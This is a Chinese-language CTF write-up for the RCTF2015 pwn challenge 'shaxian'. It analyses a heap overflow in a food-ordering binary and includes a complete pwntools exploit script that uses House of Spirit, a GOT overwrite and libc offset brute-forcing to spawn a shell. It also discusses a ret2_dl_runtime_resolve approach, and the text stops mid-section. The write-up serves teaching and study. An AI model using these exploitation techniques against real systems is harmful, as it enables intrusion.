RCTF2015——WriteUp(Pwn)

RCTF2015 Pwn题题解
                            ——当你的才华还配不上你的野心时,请静下来好好努力!

shaxian-pwn400

0x00 检查程序开启的保护机制

1
2
3
4
5
6
7
$ checksec shaxian
[*] '/home//Desktop/remote-dbg/shaxian'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

  我们可以看到程序开启了Partial RELRO(部分重定位只读),在这种情况下,.dynamic段是不可写的,.got.plt段(GOT表)是可写的。又开启了Canary检测是否有栈溢出,开启了NX(DEP)使堆栈上的代码不可执行。

0x10 静态分析

  这是一个32位ELF程序,我们通过IDA的反汇编功能对其反汇编并对函数名和变量名重命名后,主函数伪代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
int __cdecl main()
{
int choose; // [esp+1Ch] [ebp-4h]

alarm(30u); // 30秒的闹钟
close_buffer();
banner();
input_your_message();
while ( 1 )
{
puts_menu();
choose = get_num();
if ( choose == -1 )
return 0;
switch ( choose )
{
case 1:
Diancai(); // 1、点菜
continue;
case 2:
Submit(); // 2、提交订单
continue;
case 3:
Receipt(); // 3、收据信息
continue;
case 4:
Review(); // 4、回顾
continue;
case 5: // 5、退出
return 0;
default:
puts("Invalid choice!");
fflush(stdout);
break;
}
}
}

int input_your_message()
{
puts("Your Address:");
input_message(0, (int)&Address_buf, 256, 10);
puts("Your Phone number:");
input_message(0, (int)&Phone_number_buf, 256, 10);
return puts("Thank you.");
}

int puts_menu()
{
puts("1.WO YAO DIAN CAI");
puts("2.Submit");
puts("3.I want Receipt");
puts("4.Review");
puts("5.Exit");
puts("choose:");
return fflush(stdout);
}

  我们可以看到这是一个菜单式的交互程序。此程序的大致功能分为5部分

1、点菜。
2、提交订单。
3、索要收据。
4、查看购物车。
5、退出程序。

  在进入菜单前,程序会要求输入客户的信息:客户的地址电话。这两个数据都存在.bss段上,大小均为256字节

  分析功能前,先看一下,用于存储订单信息的购物车结构体。此结构体拥有三个结构体成员。count:存储某种菜的数量。food_type:存储菜的名字。next:存储前一个购物车结构体的地址。

1
2
3
4
5
00000000 shopping_cart_struct struc ; (sizeof=0x28, mappedto_5)                                  
00000000 count dd ?
00000004 food_type db 32 dup(?)
00000024 next dd ?
00000028 shopping_cart_struct ends

1、点菜:通过一个购物车结构体(shopping_cart_struct)的单链表,将用户输入的菜的类型数量数据存储在中。.bss段上的head_ptr_0804B1C0变量为此单链表的头指针,也是最后所点的菜的信息结构体指针。其中使用input_message()函数读入菜的名字,存入food_type成员变量中。input_message()函数有四个参数,分别表示:文件描述符,缓冲区地址,最大读取长度,读取终止符(\n)。我们知道food_type只有32字节大小,而这里input_message()函数却可以最大读入60字节数据,这会造成next指针被覆盖,形成堆溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int Diancai()
{
shopping_cart_struct *tmp_ptr; // ebx
shopping_cart_struct *tmp_head_ptr; // [esp+1Ch] [ebp-Ch]

tmp_head_ptr = head_ptr_0804B1C0;
puts("CHI SHEN ME?");
puts("1.Banmian");
puts("2.Bianrou");
puts("3.Qingtangmian");
puts("4.Jianbao");
puts("5.Jianjiao");
head_ptr_0804B1C0 = (shopping_cart_struct *)malloc(40u);
if ( !head_ptr_0804B1C0 ) // buffer分配出错
return puts("Error");
head_ptr_0804B1C0->next = (int)tmp_head_ptr;
input_message(0, (int)head_ptr_0804B1C0->food_type, 60, 10);// 漏洞点,堆溢出
puts("How many?");
tmp_ptr = head_ptr_0804B1C0;
tmp_ptr->count = get_num();
puts("Add to GOUWUCHE"); // 购物车数量+1
return shopping_cart++ + 1;
}

int __cdecl input_message(int fd, int buf, int max_len, int Linefeed)
{
int i; // [esp+1Ch] [ebp-Ch]

for ( i = 0; max_len - 1 > i; ++i )
{
if ( read(fd, (void *)(i + buf), 1u) <= 0 ) // 读取发生错误
return -1;
if ( *(_BYTE *)(i + buf) == (_BYTE)Linefeed )// LF == 0xA,换行符
break;
}
// 返回正常读取的字节数
*(_BYTE *)(i + buf) = 0;
return i;
}

2、提交订单:打印购物车中的订单信息,并将堆上用于存储菜的类型和数量数据的堆块进行释放

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int Submit()
{
shopping_cart_struct *free_ptr; // ST1C_4
shopping_cart_struct *tmp_head_ptr; // [esp+18h] [ebp-10h]

tmp_head_ptr = head_ptr_0804B1C0;
if ( !shopping_cart ) // 购物车为空
return puts("DIANCAI first");
while ( tmp_head_ptr )
{
print_food_list(tmp_head_ptr);
free_ptr = tmp_head_ptr;
tmp_head_ptr = (shopping_cart_struct *)tmp_head_ptr->next;
free(free_ptr); // 释放结构体内存
}
return puts("Your order has been submitted!");
}

3、索要收据:输入收据抬头信息。抬头信息也存储于.bss段

1
2
3
4
5
6
int Receipt()
{
printf("Taitou:");
input_message(0, (int)&Title, 256, 10);
return puts("Taitou saved");
}

4、查看购物车:通过购物车结构体(shopping_cart_struct)的单链表循环将购物车中的订单内容打印出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int Review()
{
shopping_cart_struct *tmp_head_ptr; // [esp+1Ch] [ebp-Ch]

tmp_head_ptr = head_ptr_0804B1C0;
if ( shopping_cart )
{
puts("Cart:");
while ( tmp_head_ptr )
{
printf("%s * %d\n", tmp_head_ptr->food_type, tmp_head_ptr->count);
tmp_head_ptr = (shopping_cart_struct *)tmp_head_ptr->next;
}
printf("Total:%d\n", shopping_cart);
}
else
{
puts("Nothing in cart");
}
printf("Address:%s\n", &Address_buf);
printf("Phone:%s\n", &Phone_number_buf);
return printf("Title:%s\n", &Title);
}

  由于程序是堆溢出,而且大小是40+8(presize+size),因此可以利用fastbin结构进行堆块的利用。泄露信息部分较为简单,因为结构体中自带了next指针,这个地方是可以覆盖的,所以直接覆盖后,在打印信息的时候就可以泄露相关的got表信息。打印信息部分如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if ( shopping_cart )
{
puts("Cart:");
while ( tmp_head_ptr )
{
printf("%s * %d\n", tmp_head_ptr->food_type, tmp_head_ptr->count);
tmp_head_ptr = (shopping_cart_struct *)tmp_head_ptr->next;
}
printf("Total:%d\n", shopping_cart);
}
else
{
puts("Nothing in cart");
}

  地址写的逻辑主要是通过fastbin来修改head指针,在head_ptr_0804B1C0处伪造一个假的堆块fake_chunk,修改next指针指向该fake_chunk,然后通过free成功释放掉该fake_chunk。再次申请时,该fake_chunk将被分配,并且刚好能实现4字节任意地址任意数据(将atoi_got改写为system),所以下次输入编号的时候,直接输入“/bin/sh”即可。

1
2
3
4
5
6
7
8
head_ptr_0804B1C0 = (shopping_cart_struct *)malloc(40u);
if ( !head_ptr_0804B1C0 ) // buffer分配出错
return puts("Error");
head_ptr_0804B1C0->next = (int)tmp_head_ptr;
input_message(0, (int)head_ptr_0804B1C0->food_type, 60, 10);// 漏洞点,堆溢出
puts("How many?");
tmp_ptr = head_ptr_0804B1C0;
tmp_ptr->count = get_num();

  然而本题的考点主要在于,libc是主办方自己编译的,网上无法查到,所以其偏移带有特殊性。这里必须通过某种方法对其进行泄露,由于这里是堆中,修改的信息十分有限,不像栈那样简单。因此此题可以使用两种方法来求解。

0x20 方法一:对libc库中的函数偏移进行爆破。

利用思路

1、根据经验,system地址atoi地址相距并不远(atoi在libc中的偏移是小于system的),而且这些库函数的地址大都比较规整,为0x10的整数倍,于是可以通过暴力破解得到system的地址。为了防止卡死,我们通过发送"cat /home/ctf/flag"命令,作为system的参数,让远程服务器执行,通过返回的结果来判断是否正确执行,从而判断是否得到system函数与atoi函数的偏移。

1
2
3
4
5
6
7
8
io.writeline('/bin/cat /home/*/Desktop/flag')
sleep(0.5)
data = io.recv(200)
if "RCTF" in data or "No such file" in data:
print "----------------dis is correct!!!----------------"
exit(0)
else:
io.close()

  虽然偏移不会很大,但是为了节省时间,我们可以分段进行暴力破解。如:分别从0x0,0x5000,0xA000,0xD000的距离开始破解。

2、点菜时,我们通过输入food_type将其后面的的next指针覆盖为atoi_got-0x4,因为next指针指向的是结构体中的count成员,而它的大小为0x4字节。所以,通过Review查看的时候,会通过[next]->food_type将atoi_got的内容输出出来。我们就得到了atoi的地址。加上dis(system与atoi的偏移),就可以得到system的地址

1
2
3
payload = 'A'*32 + p32(atoi_got - 4)
dian_cai(io,payload,2) # 修改next指针为(atoi_got - 4)
atoi_addr = leak_atoi_addr(io)

1
2
3
4
5
while ( tmp_head_ptr )
{
printf("%s * %d\n", tmp_head_ptr->food_type, tmp_head_ptr->count);
tmp_head_ptr = (shopping_cart_struct *)tmp_head_ptr->next;
}

3、因为每次点菜时,分配的堆块大小为0x30字节,处于fastbin范围之内(16byte - 64byte),所以,我们可以使用Fastbin相关漏洞利用技术进行攻击。再次点菜时,我们使用Fastbin Attack中的House of Spirit类型漏洞利用技术,并将next指针覆盖为head_ptr_0804B1C0 - 0x8。在此之前,我们已经将head_ptr_0804B1C0周围的内存区域构造成了一个fake_chunk,输入Phone_numberAddress时,我们分别构造了fake_chunk的chunk_header和fake_chunk相邻的下一chunk的chunk_header。构造的目的是绕过Free函数中的一些检测,使fake_chunk成功放入fastbin链表中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
'''
内存布局:
0x0804B0C0 - 0x0804B1C0 Phone_number

[fake_chunk] for head_ptr
0x0804B1B0 - 0x0804B1B8 chunk_header
0x0804B1B8 - 0x0804B1BC count
0x0804B1BC - 0x0804B1C0------------
0x0804B1C0 - 0x0804B1C4 head_ptr |food_type
0x0804B1C4 - 0x0804B1DC------------
0x0804B1DC - 0x0804B1E0 next

0x0804B1E0 - 0x0804B1E8 Address(next_chunk's chunk_header)
0x0804B1E8 - 0x0804B2E0 Address
'''

io.recvuntil('Your Address:\n')
io.sendline(p32(0x0) + p32(0x31))
io.recvuntil('Your Phone number:\n')
io.sendline('A'*244 + p32(0x31))
......
payload1 = 'A'*32 + p32(head_ptr - 8)
dian_cai(io,payload1,3) # 修改next指针为(head_ptr - 8)

4、接下来,我们再通过Submit()函数中的Free()函数,将此fake_chunk释放入fastbin链表中。由于fake_chunk是最后一个释放的chunk,所以排在fastbin链表头部。下次调用malloc()函数分配堆块时,就会分配到这个fake_chunk,从而可以更改fake_chunk的内容。若我们将head_ptr的内容修改为atoi_got,输入count时,将system的地址填入,就将system地址写到了atoi_got。下次调用atoi()函数时,输入“/bin/sh”,就相当于调用了system("/bin/sh")

1
2
3
4
5
6
7
8
9
10
# 执行完Submit()
pwndbg> bins
fastbins
0x10: 0x0
0x18: 0x0
0x20: 0x0
0x28: 0x0
0x30: 0x804b1b0 —▸ 0x804c060 ◂— 0x0
0x38: 0x0
0x40: 0x0

1
2
3
4
5
# 将system地址写入atoi的got表中
system_addr = sign_Hex2Dec(system_addr)
# system_addr = struct.unpack("i",p32(system_addr))[0]
payload2 = 'A'*4 + p32(atoi_got)
dian_cai(io,payload2,system_addr) # 0x804b1b8

  由于我们输入的count是以字符串形式输入的,之后会经过atoi()函数,将我们的输入转化为整数,存储于count中。我们得到的system()函数地址16进制形式的字符串,所以我们需要将system()函数的地址值转化为有符号10进制字符串输入(count为int型),才能使count中保存的是我们所需要的system()函数的地址。

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
# Author:Sp4n9x
# -*- coding:utf-8 -*-
# libc版本: libc6_2.23-0ubuntu11.2_i386
from pwn import *
import struct,time

context.clear()
context.log_level = 'debug'
context.binary = './shaxian'
context = {'arch':'i386','bits':'32','endian':'little','os':'linux'}

'''
bp 0x08048B31,main函数起始地址
bp 0x08048912,malloc后,查看分配的堆块的数据域地址
bp 0x08048B8E,Diancai函数返回地址
bp 0x080489F6,查看要Free的堆块地址
bp 0x08048B95,Submit函数返回地址
'''
gdbscript = '''
bp 0x08048B31
bp 0x08048912
bp 0x08048B8E
bp 0x080489F6
bp 0x08048B95'''
def get_io():
if args['REMOTE']:
io = remote('220.249.52.133',34604)
else:
if debug:
io = gdb.debug('./shaxian',gdbscript = gdbscript)
else:
io = process('./shaxian')
return io

def input_info(io):
io.recvuntil('Your Address:\n')
io.sendline(p32(0x0) + p32(0x31))
io.recvuntil('Your Phone number:\n')
io.sendline('A'*240 + p32(0x0) + p32(0x31))

def dian_cai(io,name,count):
io.recvuntil('choose:\n')
io.sendline('1')
io.recvuntil('5.Jianjiao\n')
io.sendline(name)
io.recvuntil('How many?\n')
io.sendline(str(count))

def submit(io):
io.recvuntil('choose:\n')
io.sendline('2')

def receipt(io,taitou):
io.recvuntil('choose:\n') # 程序中用的是puts()
io.sendline('3')
io.recvuntil('Taitou:') # 程序中用的是printf()
io.sendline(taitou)

def review(io):
io.recvuntil('choose:\n')
io.sendline('4')

def leak_atoi_addr(io):
io.recvuntil('choose:\n')
io.sendline('4')
io.recvuntil('* 2\n')
atoi_addr = u32(io.recv(4))
return atoi_addr

def sign_Hex2Dec(data):
width = 32 # 16进制数所占位数
dec_data = int(hex(data)[2:], 16)
if dec_data > (2 (width - 1) - 1):
tmp_data = 2 width - dec_data
sign_dec = 0 - tmp_data
return sign_dec

def get_system_dis():
dis = 0xDB00
# dis = 0xD000
while dis < 0xFFFFFF:
try:
print "*Start*"
io = get_io()
print "dis:",hex(dis)
pwn(io,dis)
print "End"
except Exception,e:
pass
else:
pass
finally:
dis += 0x10

read_got = 0x0804B010
atoi_got = 0x0804B038
head_ptr = 0x0804B1C0

# libc6_2.23-0ubuntu11.2_i386
# offset_atoi = 0x2D260
# offset_system = 0x3ADB0
# offset_puts = 0x5FCB0
# offset_read = 0xD5C00

def pwn(io,dis):
'''
内存布局:
0x0804B0C0 - 0x0804B1C0 Phone_number

[fake_chunk] for head_ptr
0x0804B1B0 - 0x0804B1B8 chunk_header
0x0804B1B8 - 0x0804B1BC count
0x0804B1BC - 0x0804B1C0------------
0x0804B1C0 - 0x0804B1C4 head_ptr |food_type
0x0804B1C4 - 0x0804B1DC------------
0x0804B1DC - 0x0804B1E0 next

0x0804B1E0 - 0x0804B1E8 Address(next_chunk's chunk_header)
0x0804B1E8 - 0x0804B2E0 Address
'''
input_info(io)
dian_cai(io,'Banmian',1) # 先点一次菜,使atoi()函数得到调用,atoi()的GOT表得到填充
payload = 'A'*32 + p32(atoi_got - 4)
dian_cai(io,payload,2) # 修改next指针为(atoi_got - 4)
atoi_addr = leak_atoi_addr(io)
print "atoi_addr:",hex(atoi_addr)
payload1 = 'A'*32 + p32(head_ptr - 8)
dian_cai(io,payload1,3) # 修改next指针为(head_ptr - 8)

submit(io) # 释放shopping_cart结构体内存
raw_input('After submit')

system_addr = atoi_addr + dis
print "system_addr:",hex(system_addr)
system_addr = sign_Hex2Dec(system_addr)
# system_addr = struct.unpack("i",p32(system_addr))[0]
print system_addr
payload2 = 'A'*4 + p32(atoi_got)
# 重新分配的堆块为之前释放的堆块(head_ptr - 8),之后head_ptr指向该堆块,next = atoi_got
dian_cai(io,payload2,system_addr)

if flag:
io.writeline('/bin/sh')
io.interactive()
else:
io.writeline('/bin/cat /home/buffer/Desktop/flag')
sleep(0.5)
data = io.recv(200)
if "RCTF" in data or "No such file" in data:
print "----------------dis is correct!!!----------------"
exit(0)
else:
io.close()

if __name__ == '__main__':
flag = 1 # flag = 1表示已找到dis
debug = 0 # debug = 1表示进行调试
if flag:
dis = 0xDB50 # system()函数地址与atoi()函数地址的差值
# dis = 0xD600 # system()中调用的函数的地址与atoi()函数地址的差值
io = get_io()
pwn(io,dis)
else:
get_system_dis()

0x30 方法二:使用ret2_dl_runtime_resolve方式进行利用。

  FlappyPig所给的exp我没有利用成功,我分析了一下其脚本中所使用的内存布局。其将fake_chain(也就是假的重定位项、符号项、符号字符串以及system函数参数)布置在了Address缓冲区的末尾,但是sym_data所对应的sym_index所找到的符号版本索引(ndx)为0x55C3,使l->l_version[ndx]访问到了不可访问的地址。但是我计算了一下,将fake_chain布置在Address,还是Phone_numberTitle,只能得到少数几个符号版本表vernum(.gnu.version)中合理的ndx值,不过,这就够了。ndx也可以越界访问l_version数组,但是需要让访问到的地址的version->Hash位置的值为0。ndx值一般为下面可执行文件或libc的符号版本信息中“.gnu.version_d”中的index的值(Elf32_Verdef)或“.gnu.version_r”中的version值(Elf32_Vernaux中的vna_other成员)(实际上好像有点偏差,但不大):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
$ readelf -V shaxian

Version symbols section '.gnu.version' contains 17 entries:
Addr: 0000000008048396 Offset: 0x000396 Link: 5 (.dynsym)
000: 0 (*local*) 2 (GLIBC_2.0) 2 (GLIBC_2.0) 2 (GLIBC_2.0)
004: 2 (GLIBC_2.0) 2 (GLIBC_2.0) 2 (GLIBC_2.0) 3 (GLIBC_2.4)
008: 2 (GLIBC_2.0) 2 (GLIBC_2.0) 0 (*local*) 2 (GLIBC_2.0)
00c: 2 (GLIBC_2.0) 2 (GLIBC_2.0) 2 (GLIBC_2.0) 1 (*global*)
010: 2 (GLIBC_2.0)

Version needs section '.gnu.version_r' contains 1 entries:
Addr: 0x00000000080483b8 Offset: 0x0003b8 Link: 6 (.dynstr)
000000: Version: 1 File: libc.so.6 Cnt: 2
0x0010: Name: GLIBC_2.4 Flags: none Version: 3
0x0020: Name: GLIBC_2.0 Flags: none Version: 2

--------------------------------------------------------------------------------------

$ readelf -V libc-2.23.so

Version symbols section '.gnu.version' contains 2415 entries:
Addr: 000000000001345c Offset: 0x01345c Link: 4 (.dynsym)
000: 0 (*local*) 24 (GLIBC_2.1) 25 (GLIBC_PRIVATE) 25 (GLIBC_PRIVATE)
004: 0 (*local*) 25 (GLIBC_PRIVATE) 25 (GLIBC_PRIVATE) 0 (*local*)
008: 26 (GLIBC_2.3) 25 (GLIBC_PRIVATE) 7 (GLIBC_2.2) 4 (GLIBC_2.1.1)
00c: 11 (GLIBC_2.4) 4 (GLIBC_2.1.1) 2 (GLIBC_2.0) 3 (GLIBC_2.1)
010: 4 (GLIBC_2.1.1) e (GLIBC_2.3.2) 2 (GLIBC_2.0) 11 (GLIBC_2.4)
014: 2 (GLIBC_2.0) 3 (GLIBC_2.1) 2 (GLIBC_2.0) 2 (GLIBC_2.0)
........

Version definition section '.gnu.version_d' contains 35 entries:
Addr: 0x000000000001473c Offset: 0x01473c Link: 5 (.dynstr)
000000: Rev: 1 Flags: BASE Index: 1 Cnt: 1 Name: libc.so.6
0x001c: Rev: 1 Flags: none Index: 2 Cnt: 1 Name: GLIBC_2.0
0x0038: Rev: 1 Flags: none Index: 3 Cnt: 2 Name: GLIBC_2.1
0x0054: Parent 1: GLIBC_2.0
0x005c: Rev: 1 Flags: none Index: 4 Cnt: 2 Name: GLIBC_2.1.1
0x0078: Parent 1: GLIBC_2.1
........
0x0494: Rev: 1 Flags: none Index: 34 Cnt: 2 Name: GLIBC_PRIVATE
0x04b0: Parent 1: GLIBC_2.23
0x04b8: Rev: 1 Flags: none Index: 35 Cnt: 1 Name: GCC_3.0
Version definition past end of section

Version needs section '.gnu.version_r' contains 1 entries:
Addr: 0x0000000000014c10 Offset: 0x014c10 Link: 5 (.dynstr)
000000: Version: 1 File: ld-linux.so.2 Cnt: 3
0x0010: Name: GLIBC_2.3 Flags: none Version: 38
0x0020: Name: GLIBC_PRIVATE Flags: none Version: 37
0x0030: Name: GLIBC_2.1 Flags: none Version: 36

  l->l_version数组(link_map中的结构)应该是将可执行文件的符号版本信息放在前,libc.so的符号版本信息放在后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
_dl_fixup():
0xf7fe785b add edx, dword ptr [edi + 0x170] ; edx = l_version[ndx]
► 0xf7fe7861 mov ecx, dword ptr [edx + 4] ; ecx = 0x0D696910,version->hash

pwndbg> dps 0xf7ffd918+0x170
00:0000│ 0xf7ffda88 —▸ 0xf7fd3480 ◂— 0x0
01:0004│ 0xf7ffda8c ◂— 0x4
02:0008│ 0xf7ffda90 ◂— 0x3
03:000c│ 0xf7ffda94 ◂— 0x0
04:0010│ 0xf7ffda98 ◂— 0x5
05:0014│ 0xf7ffda9c —▸ 0x80481bc ◂— sub byte ptr [ebx], 2
06:0018│ 0xf7ffdaa0 —▸ 0x80481c0 ◂— or eax, 0xe000000 /* '\r' */
07:001c│ 0xf7ffdaa4 —▸ 0x8048198 ◂— test dl, al

pwndbg> dps 0xf7fd3480 300
00:0000│ edx 0xf7fd3480 ◂— 0x0
... ↓
08:0020│ 0xf7fd34a0 —▸ 0x804838c ◂— inc edi /* 'GLIBC_2.0' */
09:0024│ 0xf7fd34a4 ◂— 0xd696910
0a:0028│ 0xf7fd34a8 ◂— 0x0
0b:002c│ 0xf7fd34ac —▸ 0x80482ed ◂— insb byte ptr es:[edi], dx /* 'libc.so.6' */
0c:0030│ 0xf7fd34b0 —▸ 0x8048382 ◂— inc edi /* 'GLIBC_2.4' */
0d:0034│ 0xf7fd34b4 ◂— 0xd696914
0e:0038│ 0xf7fd34b8 ◂— 0x0
0f:003c│ 0xf7fd34bc —▸ 0x80482ed ◂— insb byte ptr es:[edi], dx /* 'libc.so.6' */
10:0040│ 0xf7fd34c0 ◂— 0x0
... ↓
18:0060│ 0xf7fd34e0 —▸ 0xf7fd7241 ◂— dec esp /* 'LINUX_2.6' */
19:0064│ 0xf7fd34e4 ◂— 0x3ae75f6
1a:0068│ 0xf7fd34e8 ◂— 0x0
... ↓
1c:0070│ 0xf7fd34f0 —▸ 0xf7fd724b ◂— dec esp /* 'LINUX_2.5' */
1d:0074│ 0xf7fd34f4 ◂— 0x3ae75f5
1e:0078│ 0xf7fd34f8 ◂— 0x0
... ↓
28:00a0│ 0xf7fd3520 —▸ 0xf7e0d2e5 ◂— inc edi /* 'GLIBC_2.0' */
29:00a4│ 0xf7fd3524 ◂— 0xd696910
2a:00a8│ 0xf7fd3528 ◂— 0x0
... ↓
2c:00b0│ 0xf7fd3530 —▸ 0xf7e0d2ef ◂— inc edi /* 'GLIBC_2.1' */
2d:00b4│ 0xf7fd3534 ◂— 0xd696911
2e:00b8│ 0xf7fd3538 ◂— 0x0
... ↓
30:00c0│ 0xf7fd3540 —▸ 0xf7e0d2f9 ◂— inc edi /* 'GLIBC_2.1.1' */
31:00c4│ 0xf7fd3544 ◂— 0x9691f71
32:00c8│ 0xf7fd3548 ◂— 0x0
.......

0x31 内存的布局

1、shellcode之前应该预留的栈空间大小

  这里的shellcode指的是如下形式的:

1
shellcode = p32(PLT0) + p32(reloc_offset) + p32(0x01010101) + p32(binsh_str_addr)

  这段shellcode的功能是使程序的控制流跳转到PLT0,执行符号地址解析函数_dl_runtime_resolve()第一个双字是PLT0的地址,第二个双字是符号的重定位项在重定位表中的偏移,第三个双字是所解析函数的返回地址,第四个双字是所解析函数的参数。

  由于此程序开启了Partial RELRO(部分重定位只读),所以.dynamic段是不可写的,.got.plt段(GOT表)是可写的。程序控制流跳转到shellcode后,也跟着转移过来了。符号解析函数在解析符号地址的过程中会读写shellcode之前的地址上的数据。由于只有.got.plt段以后才可写,所以我们的shellcode应该距离.got.plt段起始地址有一段距离。经过测试,这个距离至少为0x300字节。这个值或许与glibc的版本有关,但影响应该不大。所以,我们的shellcode应至少在Title的缓冲区中或之后。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8048000 0x804a000 r-xp 2000 0 /home/buffer/Desktop/remote-dbg/shaxian
0x804a000 0x804b000 r--p 1000 1000 /home/buffer/Desktop/remote-dbg/shaxian
0x804b000 0x804c000 rw-p 1000 2000 /home/buffer/Desktop/remote-dbg/shaxian
0x804c000 0x806d000 rw-p 21000 0 [heap]
0xf7df9000 0xf7dfa000 rw-p 1000 0
0xf7dfa000 0xf7faa000 r-xp 1b0000 0 /lib/i386-linux-gnu/libc-2.23.so
0xf7faa000 0xf7fab000 ---p 1000 1b0000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fab000 0xf7fad000 r--p 2000 1b0000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fad000 0xf7fae000 rw-p 1000 1b2000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fae000 0xf7fb1000 rw-p 3000 0
0xf7fd3000 0xf7fd4000 rw-p 1000 0
0xf7fd4000 0xf7fd7000 r--p 3000 0 [vvar]
0xf7fd7000 0xf7fd9000 r-xp 2000 0 [vdso]
0xf7fd9000 0xf7ffc000 r-xp 23000 0 /lib/i386-linux-gnu/ld-2.23.so
0xf7ffc000 0xf7ffd000 r--p 1000 22000 /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 rw-p 1000 23000 /lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 rw-p 21000 0 [stack]

1、.got.plt段的起始地址为0x804b000。
2、此程序中现有的缓冲区:
# 0x0804B0C0 - 0x0804B1C0 (0x100)
Phone_number_buf = 0x0804B0C0
# 0x0804B1C0 - 0x0804B1E0 (0x20)
head_ptr = 0x0804B1C0
# 0x0804B1E0 - 0x0804B2E0 (0x100)
Address_buf = 0x0804B1E0
# 0x0804B2E0 - 0x0804B300 (0x20)
shopping_cart = 0x0804B2E0
# 0x0804B300 - 0x0804B400 (0x100)
Title = 0x0804B300

2、shellcodefake_chain的位置关系

  shellcode一般在fake_chain的前面,这样就不会出现符号解析函数解析过程中将fake_chain数据覆盖的情况。就算一定要放在后面,也要与fake_chain有一个安全距离

3、ndx的取值

  ndx值一般设为0即可,设为别的值也可,不过要满足一定的条件。如果将fake_chain放入phone_numberaddresstitle等缓冲区中,计算是否存在可用的ndx值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

计算方法:
sym_data_addr(0x0804BF1C) = DT_SYMTAB(0x080481DC) + sym_index(0x3D4) * 16 (not useful)
versym_data_addr(0x08048B3E) = DT_VERSYM(0x08048396) + sym_index(0x3D4) * 2

--------------------------------------------------------------------------------------------------

计算内存布局(大概计算,未对齐)
Phone_number_buf 0x0804B0C0 - 0x0804B1C0
sym_index 0x2EE - 0x2FE
versym_data_addr 0x08048972 - 0x08048992(ndx值地址范围)

Address_buf 0x0804B1E0 - 0x0804B2E0
sym_index 0x300 - 0x310
versym_data_addr 0x08048996 - 0x080489B6(ndx值地址范围)

Title 0x0804B300 - 0x0804B400
sym_index 0x312 - 0x322
versym_data_addr 0x080489BA - 0x080489DA(ndx值地址范围)

--------------------------------------------------------------------------------------------------

l_version = 0xf7fd3480
r_found_version *version = l->l_version[ndx] = l->l_version + ndx*0x10

1、0xf7fd3000 0xf7fd4000 rw-p 1000 0 (libc-2.23.so数据段); 0 <= ndx <= 0xB7(只有一个合适的)
0x080489A2 ndx = 0x8B < 0xB7(hash = 0)
sym_index = 0x306
(因为fake_chain在Address_buf,shellcode没法放在它的前面,要留够一定栈空间,执行后面的解析函数地址程序,放在后面,解析函数地址过程中,会覆盖fake_chain,如果之间的距离大于等于0x300,则应该可以)

2、0xf7fd4000 0xf7fd7000 r--p 3000 0 [vvar] ; 0xB8 < ndx < 0x3B8 (此段虽然可读,但是成功率比较低,也无法查看其中的数据)
0x0804897E ndx = 0x1C0 < 0x3B8
sym_index = 0x2F4(未成功,收到SIGBUS, Bus error信号)
0x08048A00 ndx = 0xF0 < 0x3B8
sym_index = 0x335(成功,这个fake_chain不在现有缓冲区中,在Title后面的fake_chunk中)

3、0xf7ffc000 0xf7ffd000 r--p 1000 22000 /lib/i386-linux-gnu/ld-2.23.so;0x28B8 < ndx < 0x29B8(只有一个合适的)
0xf7ffc210 - 0xf7fd3480 = 0x28D90
0x080489C4 ndx = 0x28EC < 0x29B8
sym_index = 0x317(成功)

4、0xf7ffd000 0xf7ffe000 rw-p 1000 23000 /lib/i386-linux-gnu/ld-2.23.so; 0x29B8 < ndx < 0x2AB8(未找到合适的)

如果将fake_chain放入Title缓冲区后面构造的fake_chunk中,需要满足以下条件:
- 1、由上可知,fake_chain要放在Title之后,sym_index至少为0x322,但是fake_sym数据的地址不能超过0x804C000,所以sym_index至多为0x3E2。
- 2、versym_data在0x080489DA之后,但不能超过0x08048B5A。在这期间找是否有符合以上ndx范围的ndx值。

4、version->Hash的取值

  ndx值如果未使l_version数组访问越界,则对version->hash的值无要求。ndx值如果使l_version数组访问越界,则要使version->hash的值为0。

0x32 本方法使用的内存布局

  fake_chunk的地址应该8字节对齐,而sym_data地址符号表(.dynsym)起始地址的差值应该是0x10的整数倍,fake_chunk的内存布局如下:

1
2
3
4
5
6
7
8
9
10
11
